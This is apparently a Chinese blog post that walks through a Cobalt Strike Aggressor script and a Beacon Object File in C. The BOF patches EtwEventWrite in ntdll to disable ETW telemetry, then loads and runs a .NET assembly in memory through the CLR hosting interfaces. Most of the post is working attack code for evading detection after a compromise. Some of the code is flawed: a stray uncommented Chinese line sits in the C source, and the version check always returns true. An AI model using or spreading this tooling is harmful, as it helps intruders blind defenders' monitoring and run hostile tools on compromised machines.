Execute-Assembly(3)

绕过检测

        绕过前面检测的最简单的思路就是Patch ETW。而我想的是使用BOF进行Bypass ETW 以及Assembly加载。值得庆幸得是CobaltStrike官方以及有大佬已经做了这一部分的研究。

 脚本学习

        在官方的文档Beacon Object Files中,详细描写了怎么使用CNA和BOF。根据文档提供的例子。

alias hello {
 local('$barch $handle $data $args');
 
 # figure out the arch of this session
 $barch  = barch($1);
 
 # read in the right BOF file
 $handle = openf(script_resource("hello. $+ $barch $+ .o"));
 $data   = readb($handle, -1);
 closef($handle);
 
 # pack our arguments
 $args   = bof_pack($1, "zi", "Hello World", 1234);
 
 # announce what we're doing
 btask($1, "Running Hello BOF");
 
 # execute it.
 beacon_inline_execute($1, $data, "demo", $args);
}

  使用local定义了本地变量。

  使用barch函数获取进程架构,以此后续拼接读取BOF时使用。参数$1表示的是当前会话的ID。Alias的参数有3个。

  • $0 是我们起的别名和传输的参数

  • $1 是当前会话的 ID

  • $2-3-4....第二个参数及以后,就是我们 是我们传递的参数,他们由空格隔开,我们举一个例子:

       然后通过readb读取BOF文件(.obj)

 然后再将参数打包。参数1 $1表示会话ID,第二个参数是传入参数的类型,参数类型如下。从第三个参数就是传入的参数。

最后调用beacon_inline_execute,其实就是执行inline_execute命令。第三个参数是入口点函数。

       需要参考Sleep语言的说明http://sleep.dashnine.org/manual/index.html

beacon_command_register(
"InlineExecute_Assembly", 
"test1", 
"test2");

alias InlineExecute_Assembly{
 $data = substr($0, 5);
 @args = split(' ', $data);
 println(@args); 

 local('$AssemblyPath $AssemblyArgs');
 $AssemblyPath = "";
 $AssemblyArgs = "";

 @Optional = @("--AssemblyPath" , "--AssemblyArgs");
 for($i = 0; $i < size(@args) ; $i++){
  if (@args[$i] eq "--AssemblyPath"){
   if(@args[$i + 1] ne ""){
    $AssemblyPath = @args[$i + 1];
    #println($AssemblyPath);
   }
   
  }
  else if (@args[$i] eq "--AssemblyArgs"){
   for($j = $i + 1; $j < size(@args) ; $j++){
    if(@args[$j] in @Optional){
     break;
    }
    if(strlen($AssemblyArgs) == 0){
     $AssemblyArgs = @args[$j]
    }
    else{
     $AssemblyArgs = $AssemblyArgs." ".@args[$j];
    }
   }
   #println($AssemblyArgs);
  }
 }

 # charge AssemblyPath is invaid
 if($AssemblyPath eq "" || !-exists $AssemblyPath || !-isFile $AssemblyPath){
  println($AssemblyPath." is vailed or does not exist\n");
  return;
 }
    
    # read .Net
 $AssemblyHandle = openf($AssemblyPath);
 $AssemblyLength = lof($AssemblyPath);
 $AssemblyBytes = readb($AssemblyHandle , -1);
 closef($AssemblyHandle);
 if(strlen($AssemblyBytes) == 0){
  println($AssemblyPath."load failed \n");
 }
 println("size of .Net is: ".$AssemblyLength);

 # load bof
 $barch  = barch($1);
 $BofPath = script_resource("InlineExecute_Assembly_ $+ $barch $+ .obj");
 
 $BofHandle = openf($BofPath);
 $BofBytes = readb($BofHandle, -1);
 closef($BofHandle);
 if(strlen($BofBytes) == 0){
  println($BofPath." load failed \n");
  return;
 }
 println("bof file path is: ".$BofPath);
 println("size of bof file is:".lof($BofPath));

 println("args is:".$AssemblyArgs);
 $bofArgs = bof_pack($1, "biz",  $AssemblyBytes , $AssemblyLength , $AssemblyArgs);
 #$bofArgs = bof_pack($1, "zi",  $BofPath , $AssemblyLength);
 btask($1, "Running Inline_Execute Assembly BOF");
 beacon_inline_execute($1, $BofBytes, "go", $bofArgs);

 clear(@Optional);

}

BOF编写

        BOF主要需要实现两个点,第一实现ByPass ETW,第二需要实现Assembly加载。先看官方给的例子。首先使用BeaconDataParse解析参数,然后调用BeaconDataExtractBeaconDataInt依次获取string类型和int类型。

其中Bypass ETW原理很简单,只需要Patch EtwEventWrite或者EtwEventWriteFull函数,而Assembly Load就是上面所描述的四个步骤即可。

#include "InlineExecute_Assembly.h"
#include "beacon.h"

#define STATUS_SUCCESS 0

BOOL PatchETW()
{
 LPVOID pEtwEventWrite = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("ntdll.dll"), "EtwEventWrite");

 if (pEtwEventWrite == NULL)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] pEtwEventWrite Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] pEtwEventWrite Success");

 DWORD oldProtect;

#ifdef _M_AMD64
 SIZE_T length = 1;
 char patch[] = { 0xc3 };
#elif defined(_M_IX86)
 SIZE_T length = 3;
 char patch[] = { 0xc2,0x14,0x00 };
#endif

 NTSTATUS ntStatus = STATUS_SUCCESS;
 HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, TRUE, KERNEL32$GetCurrentProcessId());
 BeaconPrintf(CALLBACK_OUTPUT, "[+] OpenProcess Success");

 if (KERNEL32$VirtualProtectEx(hProcess, pEtwEventWrite, length, PAGE_EXECUTE_READWRITE, &oldProtect) == FALSE)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] VirtualProtectEx Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] VirtualProtectEx Success");

 SIZE_T NumberOfBytesWritten = 0;
 if (KERNEL32$WriteProcessMemory(hProcess, pEtwEventWrite, patch, length, &NumberOfBytesWritten) == FALSE)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] WriteProcessMemory Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] WriteProcessMemory Success");

 if (KERNEL32$VirtualProtectEx(hProcess, pEtwEventWrite, length, oldProtect, &oldProtect) == FALSE)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] VirtualProtectEx Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] VirtualProtectEx Success");
 return TRUE;

}


BOOL FindVersion(char* AssemblyBytes, int dwLength)
{
 BOOL flag = TRUE;
 char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
 for (int i = 0; i < dwLength; i++)
 {
  if (MSVCRT$memcmp(AssemblyBytes, v4, 10) == 0)
  {
   flag = TRUE;
   break;
  }
 }
 return flag;
 //int count = 0;
 //for (int i = 0; i < dwLength; i++)
 //{
 // for (int j = 0; j < 10; j++)
 // {
 //  if (AssemblyBytes[i] == v4[j])
 //  {
 //   count++;
 //  }
 // }
 // if (count == 10)
 // {
 //  flag = TRUE;
 //  break;
 // }
 // count = 0;
 // 
 //}
 //return flag;
}

BOOL AssemblyLoad(wchar_t* wNetVersion , char* AssemblyBytes , DWORD AssemblyLength, LPWSTR* ArgumentsArray, int NumArguments)
{
 HRESULT hr;
 ICLRMetaHost* iMetaHost = NULL;
 ICLRRuntimeInfo* iRuntimeInfo = NULL;
 ICorRuntimeHost* iRuntimeHost = NULL;
 IUnknown* pAppDomain = NULL;
 AppDomain* pDefaultAppDomain = NULL;
 Assembly* pAssembly = NULL;
 MethodInfo* pMethodInfo = NULL;

 SAFEARRAYBOUND saBound[1];
 void* pData = NULL;
 VARIANT vRet;
 VARIANT vObj;
 VARIANT vPsa;
 SAFEARRAY* args = NULL;

 hr = MSCOREE$CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (VOID**)&iMetaHost);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] CLRCreateInstance Failed:%d",hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] CLRCreateInstance Success");


 hr = iMetaHost->lpVtbl->GetRuntime(iMetaHost, wNetVersion, &xIID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] GetRuntime Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] GetRuntime Success");

 hr = iRuntimeInfo->lpVtbl->GetInterface(iRuntimeInfo,&xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]GetInterface Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] GetInterface Success");

 hr = iRuntimeHost->lpVtbl->Start(iRuntimeHost);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]CLR Start Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] CLR Start Success");


 //hr = iRuntimeHost->lpVtbl->GetDefaultDomain(iRuntimeHost,&pAppDomain);
 hr = iRuntimeHost->lpVtbl->CreateDomain(iRuntimeHost, (LPCWSTR)L" ", NULL, &pAppDomain);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]GetDefaultDomain Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] GetDefaultDomain Success");


 hr = pAppDomain->lpVtbl->QueryInterface(pAppDomain, &xIID_AppDomain, (VOID**)&pDefaultAppDomain);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]QueryInterface Failed:%p", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] QueryInterface Success");

 saBound[0].cElements = AssemblyLength;
 saBound[0].lLbound = 0;
 SAFEARRAY* pSafeArray = OLEAUT32$SafeArrayCreate(VT_UI1, 1, saBound);
 if (pSafeArray == NULL)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayCreate Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+]SafeArrayCreate Success");

 hr = OLEAUT32$SafeArrayAccessData(pSafeArray, &pData);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayAccessData Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] SafeArrayAccessData Success");

 MSVCRT$memcpy(pData, AssemblyBytes, AssemblyLength);

 hr = OLEAUT32$SafeArrayUnaccessData(pSafeArray);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayUnaccessData Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] SafeArrayUnaccessData Success");

 hr = pDefaultAppDomain->lpVtbl->Load_3(pDefaultAppDomain,pSafeArray, &pAssembly);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]Load_3 Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] Load_3 Success");

 hr = pAssembly->lpVtbl->EntryPoint(pAssembly,&pMethodInfo);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]EntryPoint Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] EntryPoint Success");

 MSVCRT$memset(&vRet, 0, sizeof(VARIANT));
 MSVCRT$memset(&vObj, 0, sizeof(VARIANT));
 vObj.vt = VT_NULL;
 vPsa.vt = (VT_ARRAY | VT_BSTR);
 args = OLEAUT32$SafeArrayCreateVector(VT_VARIANT, 0, 1);
 if (NumArguments > 1)
 {
  vPsa.parray = OLEAUT32$SafeArrayCreateVector(VT_BSTR, 0, NumArguments);
  for (long i = 0; i < NumArguments; i++)
  {
   OLEAUT32$SafeArrayPutElement(vPsa.parray, &i, OLEAUT32$SysAllocString(ArgumentsArray[i]));
  }
  long idx[1] = { 0 };
  OLEAUT32$SafeArrayPutElement(args, idx, &vPsa);
 }

 hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo,vObj, args, &vRet);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]Invoke Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] Invoke Success");

 pMethodInfo->lpVtbl->Release(pMethodInfo);
 pAssembly->lpVtbl->Release(pAssembly);
 pDefaultAppDomain->lpVtbl->Release(pDefaultAppDomain);
 iRuntimeInfo->lpVtbl->Release(iRuntimeInfo);
 iMetaHost->lpVtbl->Release(iMetaHost);
 OLE32$CoUninitialize();
 return TRUE;

}

void go(char* args, int length)
{
 BeaconPrintf(CALLBACK_OUTPUT, "[+] go go go");

 if(PatchETW() == TRUE)
 {
  BeaconPrintf(CALLBACK_OUTPUT,"patch etw Success");
 }

 datap  parser;
 BeaconDataParse(&parser, args, length);
 char* AssemblyBytes = BeaconDataExtract(&parser, NULL);
 DWORD AssemblyLength = BeaconDataInt(&parser);
 char* AssemblyArguments = BeaconDataExtract(&parser, NULL);
 BeaconPrintf(CALLBACK_OUTPUT, "[+] AssemblyArguments: %s and AssemblyLength :%d ", AssemblyArguments, AssemblyLength);

 wchar_t* wNetVersion = NULL;
 if (FindVersion(AssemblyBytes, AssemblyLength) == TRUE)
 {
  wNetVersion = L"v4.0.30319";
  //toWideChar("v4.0.30319", wNetVersion, 22);
 }
 else
 {
  wNetVersion = L"v2.0.50727";
  //toWideChar("v2.0.50727", wNetVersion, 22);
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] wNetVersion is %ls", wNetVersion);

 将Assembly参数转化为WCHAR类型
 size_t convertedChars = 0;
 wchar_t* wAssemblyArguments = NULL;
 DWORD wideSize = MSVCRT$strlen(AssemblyArguments) + 1;
 wAssemblyArguments = (wchar_t*)MSVCRT$malloc(wideSize * sizeof(wchar_t));
 MSVCRT$mbstowcs_s(&convertedChars, wAssemblyArguments, wideSize, AssemblyArguments, _TRUNCATE);
 BeaconPrintf(CALLBACK_OUTPUT, "[+] wAssemblyArguments is %ls", wAssemblyArguments);

 int NumArgs = 0;
 LPWSTR* ArgumentsArray = NULL;
 ArgumentsArray = SHELL32$CommandLineToArgvW(wAssemblyArguments, &NumArgs);
 BeaconPrintf(CALLBACK_OUTPUT, "[+] ArgumentsArray is %ls", wAssemblyArguments);

 AssemblyLoad(wNetVersion, AssemblyBytes, AssemblyLength, ArgumentsArray, NumArgs);

}

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值